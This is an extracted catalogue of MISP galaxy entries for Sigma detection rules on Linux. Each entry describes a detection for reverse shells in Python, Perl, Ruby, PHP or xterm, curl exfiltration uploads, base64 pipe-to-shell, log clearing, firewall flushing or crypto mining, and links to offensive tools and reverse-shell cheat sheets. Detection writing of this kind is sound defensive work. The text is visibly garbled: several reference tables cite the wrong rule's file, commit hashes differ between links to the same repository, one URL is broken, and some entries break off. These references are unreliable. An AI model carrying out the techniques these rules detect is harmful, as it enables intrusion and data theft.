<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml</a></td>
</tr>
</tbody>
</table>

Linux Recon Indicators

Detects events with patterns found in commands used for reconnaissance on Linux systems.

The tag is: *misp-galaxy:sigma-rules="Linux Recon Indicators"

View relationships graph

Linux Recon Indicators has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 10923. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py">https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml</a></td>
</tr>
</tbody>
</table>

Linux HackTool Execution

Detects known hacktool execution based on image name.
The tag is: **misp-galaxy:sigma-rules**="Linux HackTool Execution"

View relationships graph

Linux HackTool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

Table 10924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Gui774ume/ebpfkit">https://github.com/Gui774ume/ebpfkit</a></td>
</tr>
<tr>
<td><a href="https://github.com/t3l3machus/hoaxshell">https://github.com/t3l3machus/hoaxshell</a></td>
</tr>
<tr>
<td><a href="https://github.com/carlospolop/PEASS-ng">https://github.com/carlospolop/PEASS-ng</a></td>
</tr>
<tr>
<td><a href="https://github.com/HavocFramework/Havoc">https://github.com/HavocFramework/Havoc</a></td>
</tr>
<tr>
<td><a href="https://github.com/path">https://github.com/path</a> totefile/bad-bpf</td>
</tr>
<tr>
<td><a href="https://github.com/t3l3machus/Villain">https://github.com/t3l3machus/Villain</a></td>
</tr>
<tr>
<td><a href="https://github.com/1N3/Sn1per">https://github.com/1N3/Sn1per</a></td>
</tr>
<tr>
<td><a href="https://github.com/Pennyw0rth/NetExec/">https://github.com/Pennyw0rth/NetExec/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Ne0nd0g/merlin">https://github.com/Ne0nd0g/merlin</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml</a></td>
</tr>
</tbody>
</table>

**Chmod Suspicious Directory**

Detects chmod targeting files in abnormal directory paths.

The tag is: **misp-galaxy:sigma-rules**="Chmod Suspicious Directory"

View relationships graph

Chmod Suspicious Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 10925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/">https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/</a></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bf0f36f3ee2a9/atomics/T1222.002/T1222.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bf0f36f3ee2a9/atomics/T1222.002/T1222.002.md</a></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml</a></td>
</tr>
</tbody>
</table>

6763
Python Spawning Pretty TTY

Detects python spawning a pretty tty which could be indicative of potential reverse shell activity

The tag is: misp-galaxy: sigma-rules="Python Spawning Pretty TTY"

View relationships graph

Python Spawning Pretty TTY has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10926. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/">https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml</a></td>
</tr>
</tbody>
</table>

Flush Iptables Ufw Chain

Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic

The tag is: misp-galaxy: sigma-rules="Flush Iptables Ufw Chain"

View relationships graph

Flush Iptables Ufw Chain has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10927. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.blackberry.com/">https://blogs.blackberry.com/</a></td>
</tr>
<tr>
<td><a href="https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html">https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144">https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml</a></td>
</tr>
</tbody>
</table>

Potential Perl Reverse Shell Execution

Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity

The tag is: misp-galaxy: sigma-rules="Potential Perl Reverse Shell Execution"
**Atlassian Confluence CVE-2022-26134**

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

The tag is: *misp-galaxy:.sigma-rules=*"Atlassian Confluence CVE-2022-26134"

View relationships graph

Atlassian Confluence CVE-2022-26134 has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern=*"Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

**Potential Xterm Reverse Shell**

Detects usage of "xterm" as a potential reverse shell tunnel

The tag is: *misp-galaxy:sigma-rules=*"Potential Xterm Reverse Shell"

View relationships graph

Potential Xterm Reverse Shell has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
Suspicious Curl File Upload - Linux

Detects a suspicious curl process start the adds a file to a web request

The tag is: misp-galaxy:sigma-rules="Suspicious Curl File Upload - Linux"

View relationships graph

Suspicious Curl File Upload - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76">https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/d1r4c/status/1279042657508081664">https://twitter.com/d1r4c/status/1279042657508081664</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfccdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfccdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml</a></td>
</tr>
</tbody>
</table>

Potential Ruby Reverse Shell

Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell

The tag is: misp-galaxy:sigma-rules="Potential Ruby Reverse Shell"

Table 10932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
</tbody>
</table>
Apt GTFOBin Abuse - Linux

Detects usage of "apt" and "apt-get" as a GTFOBin to execute and proxy command and binary execution.

The tag is: misp-galaxy:sigma-rules="Apt GTFOBin Abuse - Linux"

View relationships graph

Apt GTFOBin Abuse - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 10933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/apt/">https://gtfobins.github.io/gtfobins/apt/</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/apt-get/">https://gtfobins.github.io/gtfobins/apt-get/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_apt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_apt.yml</a></td>
</tr>
</tbody>
</table>

User Has Been Deleted Via Userdel

Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks.

The tag is: misp-galaxy:sigma-rules="User Has Been Deleted Via Userdel"

View relationships graph

User Has Been Deleted Via Userdel has relationships with:


Table 10934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://linuxize.com/post/how-to-delete-group-in-linux/">https://linuxize.com/post/how-to-delete-group-in-linux/</a></td>
</tr>
<tr>
<td><a href="https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/">https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/</a></td>
</tr>
<tr>
<td><a href="https://www.cyberciti.biz/faq/linux-remove-user-command/">https://www.cyberciti.biz/faq/linux-remove-user-command/</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/8/userdel">https://linux.die.net/man/8/userdel</a></td>
</tr>
</tbody>
</table>
**System Information Discovery**

Detects system information discovery commands

The tag is: `misp-galaxy:sigma-rules="System Information Discovery"`

**View relationships graph**

System Information Discovery has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

**Linux Network Service Scanning Tools Execution**

Detects execution of network scanning and reconnaissance tools. These tools can be used for the enumeration of local or remote network services for example.

The tag is: `misp-galaxy:sigma-rules="Linux Network Service Scanning Tools Execution"`

**View relationships graph**

Linux Network Service Scanning Tools Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="almost-certain"
**Linux Crypto Mining Indicators**

Detects command line parameters or strings often used by crypto miners

The tag is: `misp-galaxy:sigma-rules="Linux Crypto Mining Indicators"`

View relationships graph

Linux Crypto Mining Indicators has relationships with:


*Table 10937. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.poolwatch.io/coin/monero">https://www.poolwatch.io/coin/monero</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cryptocurrency">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cryptocurrency</a> Mining.yml</td>
</tr>
</tbody>
</table>

**Terminate Linux Process Via Kill**

Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process.

The tag is: `misp-galaxy:sigma-rules="Terminate Linux Process Via Kill"`

View relationships graph

Terminate Linux Process Via Kill has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"

*Table 10938. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_kill_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_kill_process.yml</a></td>
</tr>
</tbody>
</table>

**DD File Overwrite**

Detects potential overwriting and deletion of a file using DD.

The tag is: `misp-galaxy:sigma-rules="DD File Overwrite"`

View relationships graph
DD File Overwrite has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

**Table 10939. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml</a></td>
</tr>
</tbody>
</table>

**Named Pipe Created Via Mkfifo**

Detects the creation of a new named pipe using the "mkfifo" utility

The tag is: *misp-galaxy: sigma-rules="Named Pipe Created Via Mkfifo"*

**Table 10940. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk">https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Package Installed - Linux**

Detects installation of suspicious packages using system installation utilities

The tag is: *misp-galaxy: sigma-rules="Suspicious Package Installed - Linux"*

**View relationships graph**

Suspicious Package Installed - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

**Table 10941. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e206848692897b620c25de1ea258c8218fe3d3/history.txt">https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e206848692897b620c25de1ea258c8218fe3d3/history.txt</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicious_packages.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicious_packages.yml</a></td>
</tr>
</tbody>
</table>
**Scheduled Cron Task/Job - Linux**

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

The tag is: `misp-galaxy:sigma-rules="Scheduled Cron Task/Job - Linux"`

**View relationships graph**

Scheduled Cron Task/Job - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cron - T1053.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 10942. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3d3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3d3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml</a></td>
</tr>
</tbody>
</table>

**System Network Connections Discovery - Linux**

Detects usage of system utilities to discover system network connections

The tag is: `misp-galaxy:sigma-rules="System Network Connections Discovery - Linux"`

**View relationships graph**

System Network Connections Discovery - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"` with estimative-language:likelihood-probability="almost-certain"

**Table 10943. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3d3742bfcf365fee2a9/atomics/T1049/T1049.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3d3742bfcf365fee2a9/atomics/T1049/T1049.md</a></td>
</tr>
</tbody>
</table>

**ESXi VM Kill Via ESXCLI**

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

The tag is: `misp-galaxy:sigma-rules="ESXi VM Kill Via ESXCLI"`
Shell Execution Of Process Located In Tmp Directory

Detects execution of shells from a parent process located in a temporary (/tmp) directory

The tag is: `misp-galaxy:sigma-rules="Shell Execution Of Process Located In Tmp Directory"`

Ufw Force Stop Using Ufw-Init

Detects attempts to force stop the ufw using ufw-init

The tag is: `misp-galaxy:sigma-rules="Ufw Force Stop Using Ufw-Init"`

View relationships graph

Ufw Force Stop Using Ufw-Init has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
**System Network Discovery - Linux**

Detects enumeration of local network configuration

The tag is: *misp-galaxy:sigma-rules=*“System Network Discovery - Linux”*

View relationships graph

System Network Discovery - Linux has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*“System Network Configuration Discovery - T1016” with estimative-language:likelihood-probability="almost-certain"

*Table 10947. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f1fcd3742bfcf365fee2a9/atomics/T1016/T1016.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f1fcd3742bfcf365fee2a9/atomics/T1016/T1016.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Curl Change User Agents - Linux**

Detects a suspicious curl process start on linux with set useragent options

The tag is: *misp-galaxy:sigma-rules=*“Suspicious Curl Change User Agents - Linux”*

View relationships graph

Suspicious Curl Change User Agents - Linux has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*“Web Protocols - T1071.001” with estimative-language:likelihood-probability="almost-certain"

*Table 10948. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml</a></td>
</tr>
</tbody>
</table>
Potential Python Reverse Shell

Detects executing python with keywords related to network activity that could indicate a potential reverse shell

The tag is: `misp-galaxy:sigma-rules="Potential Python Reverse Shell"`

Table 10949. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml</a></td>
</tr>
</tbody>
</table>

Linux Webshell Indicators

Detects suspicious sub processes of web server processes

The tag is: `misp-galaxy:sigma-rules="Linux Webshell Indicators"`

View relationships graph

Linux Webshell Indicators has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml</a></td>
</tr>
</tbody>
</table>

Scheduled Task/Job At

Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code

The tag is: `misp-galaxy:sigma-rules="Scheduled Task/Job At"`

View relationships graph

Scheduled Task/Job At has relationships with:
Print History File Contents

Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance

The tag is: `misp-galaxy:sigma-rules="Print History File Contents"`

View relationships graph

Print History File Contents has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004"` with estimative-language:likelihood-probability="almost-certain"

Crontab Enumeration

Detects usage of crontab to list the tasks of the user

The tag is: `misp-galaxy:sigma-rules="Crontab Enumeration"`

View relationships graph

Crontab Enumeration has relationships with:

BPFtrace Unsafe Option Usage

Detects the usage of the unsafe bpftrace option

The tag is: misp-galaxy:sigma-rules="BPFtrace Unsafe Option Usage"

View relationships graph

BPFtrace Unsafe Option Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 10954. Table References

Potential PHP Reverse Shell

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

The tag is: misp-galaxy:sigma-rules="Potential PHP Reverse Shell"

Table 10955. Table References
OMIGOD SCX RunAsProvider ExecuteScript

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: *misp-galaxy:sigma-rules=*"OMIGOD SCX RunAsProvider ExecuteScript"

View relationships graph

OMIGOD SCX RunAsProvider ExecuteScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 10956. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure">https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure</a></td>
</tr>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/pull/3059">https://github.com/Azure/Azure-Sentinel/pull/3059</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml</a></td>
</tr>
</tbody>
</table>

Linux Base64 Encoded Pipe to Shell

Detects suspicious process command line that uses base64 encoded input for execution with a shell

The tag is: *misp-galaxy:sigma-rules=*"Linux Base64 Encoded Pipe to Shell"

View relationships graph

Linux Base64 Encoded Pipe to Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 10957. Table References
Clear Linux Logs

Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion

The tag is: *misp-galaxy:sigma-rules=* "Clear Linux Logs"

View relationships graph

Clear Linux Logs has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002"* with estimative-language:likelihood-probability="almost-certain"

Table 10958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml</a></td>
</tr>
</tbody>
</table>

Group Has Been Deleted Via Groupdel

Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks

The tag is: *misp-galaxy:sigma-rules=* "Group Has Been Deleted Via Groupdel"

View relationships graph

Group Has Been Deleted Via Groupdel has relationships with:


Table 10959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://linuxize.com/post/how-to-delete-group-in-linux/">https://linuxize.com/post/how-to-delete-group-in-linux/</a></td>
</tr>
<tr>
<td><a href="https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/">https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/</a></td>
</tr>
</tbody>
</table>
**Linux Base64 Encoded Shebang In CLI**

Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded

The tag is: `misp-galaxy:sigma-rules="Linux Base64 Encoded Shebang In CLI"`

**Capabilities Discovery - Linux**

Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.

The tag is: `misp-galaxy:sigma-rules="Capabilities Discovery - Linux"`
Linux Shell Pipe to Shell

Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell

The tag is: `misp-galaxy:sigma-rules="Linux Shell Pipe to Shell"`

View relationships graph

Linux Shell Pipe to Shell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"

Table 10962. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cap_a_discovery.yml">Internal Research</a></td>
</tr>
</tbody>
</table>

Curl Usage on Linux

Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server

The tag is: `misp-galaxy:sigma-rules="Curl Usage on Linux"`

View relationships graph

Curl Usage on Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 10963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sus_pipe_shell.yml">Internal Research</a></td>
</tr>
<tr>
